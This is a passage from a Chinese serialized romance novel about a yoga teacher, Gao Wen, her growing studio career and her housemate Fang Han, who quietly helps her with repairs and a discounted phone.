每一个会员，可都是心血和资源，每一年的会员费，都是按万计算的。 退卡失去的不仅仅是这些钱，而是这些资源。 “这个星期要过期的会员续费了吗？”馆长揉了揉肿痛的太阳穴，走过去问前台。 前台：“没有，没一个续。” “什么？！”馆长面色一阵青紫，忍不住厉声道，“不是有五六个会员到期了吗？你到底找她们谈了吗？” “谈了，价格都给到最低了，她们说她们在语禾上了体验课，觉得不错，就在那边报名了，”前台说完干脆道，“她们还组团去，说是两个人以上九折，三个人八点五折，她们不报名了，我也没办法啊。” 退卡潮和换馆还在梵盈瑜伽馆陆陆续续上演。 据说最后走了接近五十个会员，其中有不少小班会员，直接让梵盈瑜伽馆元气大伤，收入不说砍半，一小半还是有的，足够馆长呕血了。 * 语禾瑜伽馆今天又来了五个新会员，办卡很爽快。 “她们说以前上过你的课，冲你来的。”徐眉看到走出来的高雯，半开玩笑道，“我在想，财神爷其实可以不用供了，我想把你供起来。” “眉姐，我觉得是你装修品味好，加上这里的老师都很优秀，很多会员来上过课都觉得好，她们才来的，”高雯说到自己身上时，笑得无奈，“可能，她们觉得我是这个馆里她们唯一认识的人脉吧，对了，报我的名字，打折吗？” 徐眉被高雯逗笑：“打，最低折！” “那就好。”高雯走到一边，拿着水杯接水喝。 连续上了三节课，她实在口渴。 高雯现在已经是语禾瑜伽馆的专职老师，她不再去健身房那边跑馆，每天的课太多，从早到晚，不过，课时费很可观，收入直线上升。 高雯站在接待台前，小口小口喝水，低头给方寒发了条消息：【学长，你有没有房东联系方式？我洗手间的水龙头有点坏了。】 虽然不影响使用，但她看着不习惯。 方寒很快回：【有，不过房东不会理睬。】 高雯：【？】 方寒：【房东在国外旅游，小问题自己修，他说没事不要去麻烦他，房租已经比别的地方便宜了。】 高雯：【】 有钱人就是这样潇洒的吗？ 徐眉轻唤了高雯一声：“雯雯老师。” 高雯抬眸望去。 “我有个好东西要给你，”徐眉说着打开柜子，把一个礼盒递给她。 这个礼盒高雯认识，开业活动的三等奖礼品，一个进口的智能保温杯，单价要近千，颜值和精致程度深得她心，价格让她却步。 一千块一个保温杯，略微奢侈了点。 “开业活动也结束了，水杯剩了一个，给你。”徐眉说完又道，“自己用或者送人，都可以。” “眉姐，你太偏爱我了，我本来还想着这个月发工资再狠心买一个。”高雯把杯子拿出来端详，神色间都是笑意。 虽然不是她最想要的渐变紫，浅蓝色也很好看。 她心情非常愉悦，既然是老板给的，相当于今天的工资多一千块？ “那必须啊，你是我的财神爷。”徐眉说。 “您可别打趣我了。”高雯失笑，徐眉对员工都挺好，尤其是对她，非常关照，虽然有欣赏，但对方的的确确是个柔软的人，那份善意，她感受得到。 * 晚间。 林珩的黑色奔驰停在路边，他拿过一旁的手机，打开朋友圈就看到林思悦一分钟前最新发布的动态。 瑜伽体式九宫格。 每一张，看着都高难度，并且配文：每一分坚持，都有意义~~ 林珩没想到，林思悦都能站在椅子上练平衡了，还有模有样，分明只上了这半个月不到的课，不知道的还以为从小学舞蹈，有几分气质了。 圈子里共同的亲戚朋友，自然是点赞评论猛刷，七大姑八大姨赞不绝口。 最近，林思悦只要一发这样的朋友圈，就会出现大批点赞评论，以往亲戚口中不上班混日子的代表，蜕变成积极向上，努力锻炼的好女孩了。 林珩见林思悦走过来，将手机放在一边。 继上一次发生争执后，两人有两天没说话，后来林思悦又恢复了天天去瑜伽馆锻炼的习惯，每天乐呵呵，林珩作为大哥，当然也不会继续拉着脸。 道歉的话，林珩说不出口，但他下班后都会来接林思悦，算是缓和关系的举动。 “哥，等很久了吧？雯雯老师帮我拍照又修图，所以耽搁了一会。”林思悦说着，又埋头欣赏手机里的照片，她看着评论，嘴巴都快咧到耳后，“雯雯老师虽然上课有点疼又严厉，但拍照是真好看，她还超会修图，我爱死她了！” 林珩原本要开车走，听到林思悦的这话，动作放慢。 同样的话，他在办公室那群女职员口中也听过。 高雯特别会拍照，还会给那些女职员修图，为此，她一来就收获不少人好感，生存处境比别的实习生好不少。 雯雯老师和高雯—— 林珩本来还在怀疑，结果就看到了马路对边的熟悉人影。 高雯将头发高高绑起，身上穿了一件中长款薄外套，下半身是黑色的瑜伽裤配一双亮色运动鞋，青春活力。 她拿着手机正在打电话，还和穿着瑜伽服的中年女人热情打招呼，然后再挥手拜拜。 现在这个时间点，穿着瑜伽服，林珩没有任何理由再质疑。 雯雯老师，就是高雯。 得知这个答案，林珩的震惊程度比高雯辞职还要大，他握在方向盘上的手都微微收紧。 因为，从林思悦口中得知，这个雯雯老师教学水平高，很是专业，非常认真负责任，她的课都是满员，深受学员喜欢。 高雯所说的，她想做的事情，要去做的事情，就是这个？ “哥？怎么还不走啊？”林思悦回着评论，疑惑看向林珩问。 林珩没接话，一脚油门往前开。 心里思绪如同麻绳。 马路对面。 高雯正在和方寒打电话，慢慢散步回去。 说起今天房东的事情，她问到：“房东都不在，续租怎么办？” “按时打到他的银行卡账户就行，发微信经常不收。”方寒说。 高雯再一次失语：“有钱人，都这样吗？” 见钱不收？她还是太穷了。 “不知道，”方寒走到五金店，买了一个水龙头，加快脚步往回走，想了想，“可能吧？” 高雯叹气抿唇：“我的水龙头，就只能找师傅换了。” 方寒拿着刚买来的水龙头，眼神飘闪，稳着语气道：“厨房有备用的水龙头，我帮你换，我会。” 高雯回来前，方寒先一步回去，他走进了厨房，把新买来的水龙头藏在橱柜下。 许菲出来接水，方寒因为心虚还吓了一跳。 “你鬼鬼祟祟做贼呢？”许菲好奇观察他，走进笑道，“你真做贼了？脸这么红？” 方寒打开冰箱，从里面拿出一瓶鲜牛奶，转移话题：“喝吗？” “啧——这牛奶不便宜呢，”许菲拿着牛奶，往冰箱里看，“我喝了，你亲亲学妹还有吗？” “明天就过期了，”方寒认真叮嘱，“你要是今晚不喝，明天记得丢掉。” 高雯喜欢喝这个牌子，保质期就三天，他今天又买了一瓶，许菲不喝的话，他会喝。 许菲：“” 高雯回来的时候，就看到许菲正坐在餐桌上，喝着牛奶。 “许菲姐。”高雯笑着打招呼。 许菲笑了笑，举起牛奶道：“方寒给我的，冰箱里还有你的，记得喝哦。” 她是好人，吃人嘴短。 高雯有些没反应过来，本能出言：“谢谢啊。” 许菲喝完最后一口牛奶，将盖子合上，瓶子丢进垃圾桶，转身冲方寒挤眉弄眼摆手道：“我回房了，拜拜，晚安，祝你们愉快。” 她就不打扰了。 方寒默默从厨房里把刚藏进去的水龙头拿出来，又把牛奶放进去加热，对高雯道：“你也喝一瓶吧，明天要过期了。” “哦，好。”高雯先去给方寒开房门，中途她的手机又提示没电倒计时，她急忙去找数据线，“等我发了这个月工资，我一定要买个最新款！” 方寒在门口，看着她念念叨叨的样子，有点可爱。 随后，高雯走去厨房打开微波炉拿牛奶，她的声音远远传来，还含着笑，“学长，这牛奶很容易过期，就算打折买的，你这么无偿分享，我看都比单瓶买贵了。” 方寒隐隐听到高雯说话，大脑却已经不接收她话里的意思。 一进入她的房间，就好像进入她的私密领地，让他有些面红耳赤。 她的房间，空气中带着淡淡的香味，就像她身上一样。 方寒不敢乱瞅，浑身紧绷着，同手同脚直愣愣往洗手间去。他的脑子甚至都有一瞬间卡壳，要进来做什么来着？ 高雯喝着牛奶走进来，喊了句：“学长啊——” 方寒听到高雯叫他，心脏不自觉一颤，他喉结耸动，清了清声：“嗯？” “请原谅我偷吃了你冰箱里的一颗西梅。”高雯说完的时候，眉眼弯弯，对她来说，当真像偷吃到蜜饯了，企图欺骗自己的身体。 方寒刚开口想让她多吃几颗，想到高雯对饮食的苛刻 ，他闭了嘴，在她“偷吃”的时候不要强调，避免她愧疚就是为她好了。 “就是这个水龙头，打开就松动了。”高雯挤进洗手间，绕过方寒，伸手掰动着水龙头开关，给他演示。 她一靠近，属于她身上的清香又往方寒鼻翼涌进。 两人挤在一个洗手间，不算拥挤，他的体温却还是攀升，就连呼吸都乱了节奏。 “能换好吗？”高雯出言。 “能。” 高雯没想到，方寒真的会修水龙头，他把阀门关掉，排空了余水，就开始蹲下来旋转螺丝，抽出软管。 她没想到这么复杂，也蹲下来跟着看，还十分认真。 方寒被高雯看着，又处于这么封闭的空间，他实在难熬，手上的动作不断加快，拿出新的水龙头，迅速套底座、螺旋管、密封圈，穿过安装，继续拧紧螺丝。 打开阀门，试了一下，水哗啦啦往外流。 “哇——”高雯全程围观方寒这么高效就换好了，不由赞叹，“优秀的人干什么都行吗？” 方寒这副流畅的样子，不知道的还以为他是水电工。 他是学霸啊，那双手应该拿来敲代码的。 “你等一下。”方寒走去厨房，很快又折回来。 “这是什么？”高雯看着他手上拿着的“塑料条子”。 “挡水带。”方寒蹲下来，量出洗手间门口的宽度，用剪刀减下来同样宽度的挡水带，撕开另一端，随后贴在门边，随即站起来道，“洗手间的挡水面设计太低，这个是速干的，十分钟后就固定住了，贴上后浴室的水就不会溅到房内。” 高雯每次洗澡都会洗久一点，有时候洗衣服，水一冲，就溢出来到房间里，到处湿哒哒的，成为她一个小困扰。 方寒这么一处理，高雯感觉他都在闪闪发光，夸赞的话，她平时没少说，总不能让人白忙活。 她想了想，走到一旁，狠心从包里拿出徐眉今天给她的礼盒。 高雯在方寒回屋前叫住了他，“学长。” 方寒回头，一个礼盒出现在他面前，让他微怔，心跳变得异常猛烈。 “瑜伽馆开业做活动剩的保温瓶，质量还不错，我给你拿了一个，反正不要钱。”高雯把礼盒往前再次伸了伸，“给你。” 方寒没有第一时间接。 “拿着吧，就当今天谢谢你的帮忙。”高雯还是很舍不得的，但凡事都要礼尚往来，她快速把礼盒塞到方寒手里，转身往屋内走，生怕走慢了后悔要抢回来。 关门前，她探出头，笑容明艳：“晚安，祝你做个好梦。” 方寒看着手上的礼盒，上面还残留她的温度，他的唇角慢慢上挑，深黑清亮的眸子里皆是温润的笑意—— 作者有话说：老方：她有好东西都想着我，对吧？ 作者：没出息~~~你快被一个活动剩下的保温瓶哄成胚胎了！！！ 宝子们， 本来说上午九点和下午六点更，我直接把两更合并更了，一天一更，日更六千。 早安！！！今天依旧是爱你们的一天！[橙心] 18、第18章 第18章 第18章 方大好人啊，我看好你哟！…… 高雯自从来了语禾瑜伽馆, 她一天当中的大部分时间都待在这里。 老师之间相处和睦，大家互帮互助，工作氛围好。 因为高雯会拍照修图, 她要是下一节没课, 不少会员都会留下来，让她帮她们拍拍照, 一起喝茶聊天，然后修美美的照片惊艳朋友圈。 没课没会员的时候，高雯就在自我练习。 徐眉今天到馆里的时候, 高雯就在小教室练习。 她有一间单独的小教室，旁边是一间私教教室, 现在还没正式启用。 徐眉走进教室，听到里面传来说话的声音, 她将门微微推开, 透过缝隙, 能看到高雯在对着镜子自我训练。 每当看到高雯一个人待在教室里汗水泠泠的样子，徐眉心里总是忍不住佩服和欣赏。 从业多年, 徐眉见过很多努力的人, 也见过很多身体条件很好的人，同时具备两种因素的人少之又少。 高雯属于身材柔细纤瘦, 后天又非常努力塑形得更完美的人。而且, 她还有更难得的一点，她专业知识很强，拥有很高的执行力和自律, 同时深深热爱这一行。 会员都说高雯的引导词讲得通俗易懂，上课有针对性，指导很到位, 耐心又温柔，好像天生就是干这一行的。 徐眉看了眼不远处正在录音的手机，不得不感慨，哪有什么天赋。不过是千百次地反复琢磨，自我内观，对着镜子来回修正。 专业的老师或许没那么热爱，热爱这一行的老师，或许又没那么有专业性，教授方法也是一门学问，能让会员认可才是本事。 高雯真的是一个集齐各种优势于一身，同时对自我要求严格，精益求精的人。 徐眉毫不怀疑，高雯能在这一行，比她走得更高更远，这个时间不会很长。 她没有打扰高雯，而是静静等高雯训练结束，才让她来商量私教的事情。 “已经有不少会员询问你的私教课，但我迟迟都拿不定主意，我的想法呢，就是再等一段时间，毕竟你现在的小课都排不过来。”徐眉说，“我们也好继续观察会员对价格的接受程度，毕竟你的时间，是有限的，价格一旦定下，就高不起来了。” “我听眉姐你的。”高雯没意见。 徐眉点了点头，随即笑道：“等开学吧，我看开学这个时间点不错，到时候也会有一些活动。今天周五，特意给你少排了课，有什么安排？” 周五晚上会员最少，上班的想喘口气，有娃的要培养感情，上课的人少，干脆就少排课了。 “安排？”高雯一时还真不知道。 “找找朋友，吃吃饭逛逛街，忙碌了一个礼拜，也该喘口气了，给自己脑子里那根紧绷的神经松一松，”徐眉正说着话，外卖员进来了，她站起身对在店的老师和员工说道，“我给你们都买了一个小蛋糕。” 徐眉说着，笑着强调，“你们可别自己吃完了，热量很高的！” 高雯被分到的是一个四英寸杏仁海盐焦糖蛋糕，看着好吃很诱人。 大家都在拍照给朋友分享，有些人约了朋友吃饭，逛街，或者拿回去给家人老公分享。高雯看着热闹的场景，她拿出手机，一时间都不知道分享给谁。 高父去世后，高雯就把自己封闭起来，谨言慎行，她没有朋友，怕自己的窘境被人背地里取笑，也不需要任何人的同情。上了大学后，她和大学室友处得不错，但她也没有透露过家事，伪装成正常家庭里的独生女，在放假的时候都在打工，她平时太忙，也没有和她们交过心。 周围热闹的讨论声，让高雯略显得有些孤寂落寞，那是一种，她以前刻意忽略的感受。 “嗡——”高雯的手机震动，是方寒发来的消息。 方寒：【图片】 方寒：【公司发的，我一会下班要去超市买菜，有需要买的东西吗？我可以顺路带回来。】 他发来的照片，是一张大超市的一千块代金券。 高雯发了个摇头的表情包。 她是个很不喜欢麻烦别人的人，她需要的东西，自己会买。 方寒并未再多说：【好的。】 高雯受了众人影响，也对着蛋糕拍了一张：【馆里发的，回去给你也尝尝。】 方寒很快回：【看着不错，估计比较好吃，什么口味的？】 高雯和他聊了几句，她自己都没意识到，她的嘴角染上了浅笑。 上完最后一节课，高雯就拎着蛋糕回去了。 她今天回来得比较早，在楼下遇到正回来的方寒，他的手上拎了两个大袋子。 “买了什么呀？怎么这么多？”高雯问。 “一些食材和水果。”电梯门打开，方寒没动，让高雯先进去，自己跟在她身后，轻声笑道，“今天周五，要犒劳一下自己。” “对，周末不用吃减脂餐，可以放纵一下。”高雯点头。 这段时间，方寒偶尔也会做减脂餐，但她很忙，很久没和他一起吃了。 “我一会做好饭，一起吃吧？吃完再吃蛋糕。”方寒说完补充，“我一个人吃饭，多少是有点无聊的。” 高雯一开始并不答应，和方寒多吃一顿饭，也算多接触了。 其实他们两个人接触多也不算一件好事，所以她都尽可能多待在瑜伽馆，这个星期，他们碰面的时间少，这应该是未来的一个常态，或许一个月见不了几面。 “你请我吃蛋糕，我请你吃饭，你也不会拒绝吧？”方寒这话是笑着说的，好像是一件很平常的事情，要是被拒绝，多少有些不近人情了。 他这人说话温温和和，行为举止也十分有分寸界限，高雯的确找不出拒绝的理由，干脆应下：“不会啊，我今天算是有口福了。” 身在异乡，也需要朋友。 她今天一个人对着那个诱人的蛋糕，连吃的胃口都没有，有人分享，的确会多几分美味。 高雯是个做了决定就不会纠结的人，她把蛋糕放在冰箱，回屋换了身衣服，往厨房走。 她这个星期的饭点都待在瑜伽馆，徐眉给她们订的都是减脂餐。 忌口这么久，高雯觉得自己有资格享用一顿美味，她凑过去，语气里暗含期待：“你买了什么好吃的？” 方寒还没接话，她看到水池里的虾，眼底亮了亮：“虾？” 她喜欢吃虾，Q弹爽口。 高雯没想到他买回来是活虾，虾还在水池里动来动去，活蹦乱跳的。 真新鲜！一定很好吃！ “嗯。”方寒正在处理排骨，煮水先焯一遍。 “好大的虾。”高雯刚凑近水池边，刚要开口问自己有什么能帮忙的，下一秒，里面的虾突然扑腾起来，野生的品种劲头大，把水溅得到处都是。 高雯面色有些发白，在第一时间就被人往后拉了。 “没事吧？”方寒快速把砧板盖在水池上，连忙着急问，神色里都是担忧。 高雯低着头，飞溅的水滴正好进了她的眼睛，她忍住用手揉眼睛的冲动，不断眨眼。 大美女总是有些包袱在身上，她觉得自己反应过激，被几只虾吓成这样，实在丢脸，她摇了摇头，转身往外走：“没事，我去洗洗。” 高雯刚走两步，“砰”一声，脑袋直接撞在推拉门上。 方寒神色骤变，心都跟着颤了颤，连忙上前把门往旁推开，都怪他，刚刚没把门全开了。 高雯欲哭无泪，比起疼，她更在意自己的印象受损了。 不该是这样的！大美女不是这样的！ “没事吧？”方寒再一次问，他的双眉紧蹙，担忧之色溢于言表。 “没关系，我耐疼。”高雯故作轻松说着，继续往前走，路过推拉门时，她抬手，装作不经意轻打了门框两下。 虾欺负她也就算了，一会就要被吃掉，门怎么也欺负她？总不能拆了吧？！ 方寒神色焦灼，又不好追上去，他转过身，看着还在乱扑腾的虾。 早知道就不打着氧气拿回来，本来是想让她吃到更新鲜的，变成虾欺负她了。 方寒把刀具拿出来，紧抿着唇，仿佛化身“杀虾高手”，面无表情将一只只活蹦乱跳的大虾抓起来，利落剥壳取线，要把它们全部做成红烧，给高雯补一补。 他在想，厨房这个地方还是危险，以后不能让高雯再往厨房里来了，她不适合。 高雯再一次出来时，已经调整好状态。 方寒不动声色观察了她许久，见她没什么问题，这才放下心来， 刚刚活蹦乱跳的野生虾，已经被做成了香喷喷的红烧虾仁，方寒让高雯先尝一尝。 高雯夹了一只，咸淡正好，鲜嫩多汁，虾肉紧实爽口，比做减脂餐时的虾仁又多了一层风味：“好吃，”她说完又吃了一只，语气清甜笑道，“说不定就是这两只欺负我，算了，我就勉为其难原谅它们吧！” “好。”方寒脸上也有了点笑意。 除了红烧虾仁，方寒还做了水煮牛肉、彩椒鱿鱼，再加上一道清炒时蔬，和三鲜汤。两个人的饭量，这绝对算是丰盛了。 方寒陆陆续续把菜端出来，高雯起身道：“我去盛饭。” “不用，我来，”方寒急忙赶进去，在高雯要打开电饭煲的时候阻止道，“我来，这个电饭煲你不会用。” 她可别烫到了。 他来就好。 “好吧。” 方寒打了一碗饭，递给她。 “谢谢。”高雯看着桌上香喷喷的饭菜，眼底笑意不断加深，对于她来说，最幸福的事情莫过于，有好吃的东西，正好又是放纵日，可以毫无忌惮吃。 人生的美好不过如此。 高雯哪怕再饿，还是小口小口吃着，顶多吃饭速度加快，大美女的矜持和修养是刻在骨子里的。 方寒看到她吃得这么香，唇角悄悄扬起一抹弧度。 “手机又要没电了。”高雯随手把手机放在一边，“算了，不理它，一会再充就好了。” 方寒看了眼她的手机，眼底闪了闪，过了会道：“超市今天人还很多，排队结账都需要好久。” “周末嘛，大家都去超市采购周末和一周的口粮了，只有我这种懒人，才天天蹭吃蹭喝。”高雯笑着说。 在瑜伽馆的时候，都是徐眉给她订减脂餐，高雯不挑，有得吃就行，还省事了。 “这样啊。”方寒了然，扯了扯嘴角道，“你是因为工作太忙了。” “你也不清闲，下班后还要去加班，一个人赚两份钱，”高雯夸赞他，随口闲聊，“现在不是过年过节，你们公司还发购物券啊？” “项目结束的奖励，还会额外发一些其他东西。”方寒说。 “发什么？”高雯本能顺着问。 “给我发了台电脑。”方寒说。 “电脑？”高雯诧异，“你们公司福利这么好，他们呢？” “他们发手机或者平板，不过我们办公室的人都用折叠屏，发的直板机一般都会以六折的价格卖掉，”方寒说完看向她，“你要买吗？挺划算的。” “什么手机啊？”高雯问。 方寒把手机拿过来，打开购物软件输入型号给高雯：“这个，最新款的旗舰机，512G容量。” 高雯对手机要求不高，她有很多事情要做，看手机的时间很少，手机对她来说就是通讯功能，奈何这个手机不行了，经常没电又很卡，她现在还要每天给会员拍大量照片，内存也不够了，功能也跟不上，总不能随便买一个。 这一款手机，高雯前几天才和许菲说她下个月想买。 方寒当时不在，不太可能故意跟她这么说。 高雯才去语禾瑜伽馆不久，之前的收入算不上很高，七千多的手机超了她的预算，得下个月才能买，但是四千几，在她预算范围内，马上就能换。 经济实在有些窘迫的她，还在犹豫要不要麻烦方寒。 要不等下个月，多花点钱也无所谓，努力上课就好了。 “你想要什么样的？我帮你问问，”方寒说完还强调，“这个手机拍照效果是国产里最好的，你不是也要买手机吗？就买这个吧？” 高雯的确想买这个，要是她下个月自己花高价去买了，而没有通过方寒，多少有点不好？ 她看着真诚温润的方寒，拒绝的话多少有些说不出口。 那买吧？ “麻烦学长了，我的确需要这个手机。”高雯没有掩饰自己的需求。 “我一会就帮你问。”方寒笑着答应下来。 两人吃好饭，如今也不存在洗碗的问题，方寒买了个洗碗机，全部都能丢进去，洗完还消毒，非常干净。 高雯把蛋糕拿出来和方寒分享，两人吃得饱，倒吃不了多少，每个人就切了一小块，剩下的大半要留给另外两个室友，许菲和何大哥。 高雯品尝着蛋糕，奶油入口即化，她觉得很好吃，分明吃不下很多，却感觉比在店里看着蛋糕还要美味。 她看着也在吃蛋糕的方寒，以前她几乎都是一个人吃东西，很多时候就是为了果腹，为了保持身材，都是吃热量很低的食物，算不上美味。 这种感觉和今天一个人在馆里，看着蛋糕无人分享的感觉截然不同。 她意识到，自己好像也不是完全能够享受独孤。 有人陪伴，日子好像会更好过一点。 意识到这一点，让高雯心底咯噔了一下，隐隐升起一丝不安，她不喜欢这种受不自己掌控的感觉 次日，高雯刚下完早课，方寒就发来了两张图片，一个是渐变紫的手机，一个是白色的，问她要哪一个。 高雯毫不犹豫回：【紫色！】 没有渐变紫的保温杯，有个渐变紫的手机也算补偿了。 方寒看着消息笑了：【好，晚上拿回去给你。】 高雯：【多少钱？】 方寒想了想，按照官网最低价打了个六折，给她报数。 其实他是想说下个月等她发工资再给，但要是扭扭捏捏，她估计就不想要了。 高雯那边秒转钱，还给方寒凑了整。 “就给我拿一台紫色的吧。”方寒对柜员说。 柜员提醒道：“紫色的要再加五百块，需要调货，可以吗？” “嗯，尽快。”方寒最后还买了两个手机膜。 公司的奖品的确有新手机，卖给同事的确也相对便宜，他这不算骗人，只是他们卖得快，他没抢上，而且是九折。 因为这一台新手机，高雯一下班就给方寒打电话了，说她很快就回来。 “不着急，我也刚到家。”方寒说。 高雯回来时，为了答谢他帮忙，还买了水果，上一次那个大芒果好吃，她这一次又买了，还买了点樱桃和西梅。 方寒去洗水果，高雯正在欣赏她的新手机。 手机是没开封的，她好久没用新手机了，而且还是这么贵的新手机。 “这算便宜捡漏吗？”高雯还是很高兴，这种便宜不要白不要，买到就是赚到。 “算是吧，每年都会有项目，听说奖励来奖励去，都是这些东西。”方寒把水果放在她面前，将叉子放在一边。 “我不吃，我给你买的。”高雯说着打开手机膜，准备认真贴膜，“你们公司真好啊，不愧是高薪企业。” 新手机得好好保护。 方寒：“我来贴吧？” 她刚回来，估计上了一天课，他想让她歇一歇，吃点水果。 “没事，一会就贴好了。”高雯表示不用帮忙，“这种东西很简单的——” 她话都没说完，贴上去的膜弯了。 高雯脸色尴尬，用手指抠起来，继续对准，贴！ 又歪了。 贴膜内还出现了脏东西，高雯下意识伸手去清理，再一次贴上，这一次不歪了，却出现一堆气泡和灰尘，屏幕都变得脏兮兮。 高雯是一个多么整洁和爱干净又精致的人啊，她看到这一幕，浑身难受，但她又是个立志要把事情做到最好的人，于是故作淡定，将第一块膜撕下来，放在一边，打开了新的膜。 “这一片的质量不好，用那一片就好了。”方寒坐在她对面，还说了这一句。 “嗯。”高雯这一回还认认真真看了提示。 贴！ 结果又贴歪了。 她百思不得其解，看着又被弄脏的膜，屏幕里都是气泡，当下有些恼自己。她的手眼不协调吗？分明很协调啊，而且超有平衡感才对！ “没事，我明天再买来贴就好了。”高雯强装镇定，不就是一片膜吗？她明天买十片，总会贴好的！一定学会！ “还能补救。”方寒眼底里含了点笑意，他正拿着除尘膜，伸手把高雯面前的手机拿过来。 他小心翼翼掀开手机膜，用除尘膜将里面的灰尘一点点沾干净。 动作不紧不慢。 高雯看到他的样子，神色愣了一瞬，表情有些复杂，轻声道：“不能用了吧？” “应该还能用的，”方寒轻声说。 手机屏幕纯黑，衬得方寒手指肤色偏白，他的手指挺好看，修长有美感，温和有耐心。 在高雯的视线里，方寒收回除尘膜，松开手指，手机膜很快就与屏幕贴合了，十分平整，一点灰尘和气泡都没有。 “好了。”方寒把手机还给她。 高雯看着方寒深邃清凉的眸眼，有些羞窘惭愧，心绪涌动着。 被她弄脏的破烂，在他的“缝缝补补”下，又完美如初了。她也说不清是什么感觉，一下闪过的情绪，她刚要抓住。 “咔嚓——”门打开，许菲回来了。 开门声将两人思绪拉回来。 许菲看到桌子上放着的手机壳，打趣道：“小雯这么快就买新手机了？不是说下个月发工资才买吗？” 高雯没第一时间回答，也是看向方寒，有些征询的意思。 见他没什么反应，才说了他公司福利的事情。 “六折？”许菲说这话的时候，饶有趣味看了方寒两眼，故意道，“还有没有这种手机？我也想买啊。” 高雯没在公司上过班，所以深信不疑，许菲毕业后都不知道在多少家公司跳槽过了。 没听说过这种事，而且热门机型，一开始都得加钱买，现在也是原价，怎么可能六折出？那些人又不是傻子。 方寒这小子，看着规规矩矩，追女孩子的手段也是出乎她意料的。 方寒：“你想买什么样的？明天帮你问。” 高雯拔出旧手机的卡，装进去开机，然后下载软件。 许菲也不是真想要一个手机，她又道：“你们公司给你奖励电脑了？什么样的？我看看。” 小样。 看他葫芦里卖什么药。 方寒起身，回了房间，没一会就把袋子提出来，把袋子里的电脑放在桌子上，对许菲轻声道：“你想要这台电脑的话，我可以六折卖给你。” “我有电脑了，留着也没用。” “我靠，你来真的？这个电脑一万多！”许菲笑容僵在嘴角上，她虽然知道方寒工资比她高不少，但看到这一幕真的会破防。 一个底层牛马轻轻碎掉了。 她每天加班累死累活，公司都没说给她发电脑，她自己买的电脑都要用烂了！舍不得换！ 一万多的电脑，方寒就算说六折，她也买不起啊！ “这是耳机？”高雯看到袋子里还有一个小盒子。 “嗯，你要吗？”方寒温声问。 高雯摇头：“我不带耳机。” “这个耳机，也是公司给的？”许菲把耳机拿过来，是她心心念的无线耳机，但是要一千多块，她看了一年都没舍得入手。 “嗯，”方寒点头，“年初刚去公司，那个项目收尾，发了个慰问奖，就是这个，你要的话，五百给你。” 五百块，已经不是六折了，都快三折了。 “我感觉，全世界只有我又苦又穷，还天天加班。”许菲整个人有点不好了，“我图什么呀？” 方寒看着她这样，温声改了口：“我放着也没用，你要的话，就拿去用吧。” 闻言，高雯和许菲同时看向方寒。 高雯倒不惊讶，方寒就是这样的人，温和善良，他做出什么样的举动，她都不会觉得奇怪。 “我要什么电脑，我那台还能用，”许菲也不是那么过分的人，但她看了眼那个耳机，笑嘻嘻拿过去，“这个我要，五百啊，就转你五百。” 反正她也大赚了。 许菲说完，拿着耳机就溜回房间，还给方寒留下一句：“方大好人啊，我看好你哟！” 她这么一说，方寒心都提到嗓子眼了，整个人迅速慢慢红温，下意识就看向高雯。 高雯完全没听到两人在说什么，她刚登上微信，看到好几个会员给她消息，说是后台崩了，约不上课，她正在联系前台小桃。 小桃那边没反应，发消息打电话都不接。 对方是个夜猫子，会员应该也给她发了不少消息，这让高雯更加疑惑了，又给徐眉发了消息。 徐眉很快回了消息。 “我帮你同步一下数据吧？你自己可能不太熟练。”方寒对高雯说。 “没事，我一会再自己弄。”高雯婉拒了。她不会可以学，一步步来总是可以的，总不能一直麻烦方寒，这不好。 方寒眼底失落难掩。 高雯和方寒道别后，就回了房间，她自己琢磨了下传输数据，的确是不太会，琢磨好一会，正准备上网查，方寒就给她发了步骤图。 高雯看到他发来的步骤图，不知道是担心她不会，还是觉得她应该不会，心里都有异样的感觉。 她和方寒，好像又越走越近了。 高雯头隐隐作痛，真是剪不断理还乱，分明想像朋友一样很有界限的相处，方寒也是个极为有界限感的人，但总有些事情超出了预期。 她按照方寒给出的步骤图，数据同步的时候，拿着衣服去洗澡了。 等高雯洗澡出来，已经是半个小时后，她刚要做护肤，徐眉的电话就急忙忙打过来，她的语气强装镇定，还是有些颤抖，“雯雯啊，你先去馆里看看电脑怎么回事，我估计是后台程序又错乱了，看看能不能找个懂维修的处理了，不要影响会员明天正常上课约课。” “好，”高雯应下，斟酌了下问，“小桃那边，是出了什么事吗？” 徐眉刚刚也说去联系，现在听着情况不对。 如果不是出了事情，这种事轮不到她去解决，不在她的范围，她也不懂。 “我真是——”徐眉情绪有些失控，恨铁不成钢，“我赶过去的时候，人都不省人事了，现在刚送来医院抢救，为了一个男人，命都不要了。” “医院这边我来处理，你先去馆里看看，排课那边不能耽搁，明天你在馆里稍稍看着点，我一会就让人把小桃的工作机给你送过去，这件事先保密。” “我知道的。”高雯脸色凝重，她以最快的速度换了衣服，拿上包开门走出去，遇上了同样开门走出来的方寒—— 作者有话说：亲爱的，早安！！！ 美好的一天开始啦！ 19、第19章 第19章 第19章 他可真是个细心包容的人啊。…… 方寒出来接水, 他见高雯的穿着，疑惑问：“这么晚了，你还要出去吗？” “嗯, ”高雯快步往门口走, “馆里有事，我过去一趟。” “路上注意安全。”方寒并未多问。 高雯往楼下走, 这里离馆不远，她以往都是散步去，今天是小跑着去的。 晚上正是会员约课的时候, 耽误久了，影响明天老师们上课。 刚开业, 正是建立会员信任度和好感的时候，所以徐眉才那么着急。 此时已经接近十二点, 除了商场周边有些小商贩, 还有一些二十四小时便利店, 几乎没什么行人。 高雯来到馆内，先打开了电脑, 发现后台显示无法连接数据库, 她在网上平台联系维修师傅。 很快有人接单。 “您能现在过来吗？比较急。”高雯说。 那头道：“现在？现在不行，我都上床睡觉了, 最早得明天, 明天行吗？” 高雯只能表示婉拒，取消订单再找。 半夜接这种单的人不多，一听说要现在赶过来, 离得远的直接拒绝，没地铁没公交，不知道具体什么问题, 赶来说不定就是白忙活。 找了好一会，高雯又在网上找一圈，加了价钱，答应报销车费，才有人勉勉强强接单，而且还要强调：“就算修不好，你也得付一半的钱，你这是急单。” “好，没问题。”高雯很爽快答应。 对方又问了几个问题，让高雯给他拍后台照片，她一一照做，对方还教她按几个按键，都没用，后台没反应。 “您过来看看吧。”高雯说。 对方提出先发两百块钱过来当路费。 高雯上次才被中介骗过，留了心眼：【您打车过来，我现场报销，行吗？】 如果真要来干活的人，这个要求一点都不过分。 对面那头答应了。 高雯把店面地址发过去，让对方到了给她打电话。 此时已经夜里十二点半。 高雯正焦灼时，方寒打来了电话。 她接了起来：“学长？” “还没忙好吗？你什么时候能回来呢？”方寒轻声问。 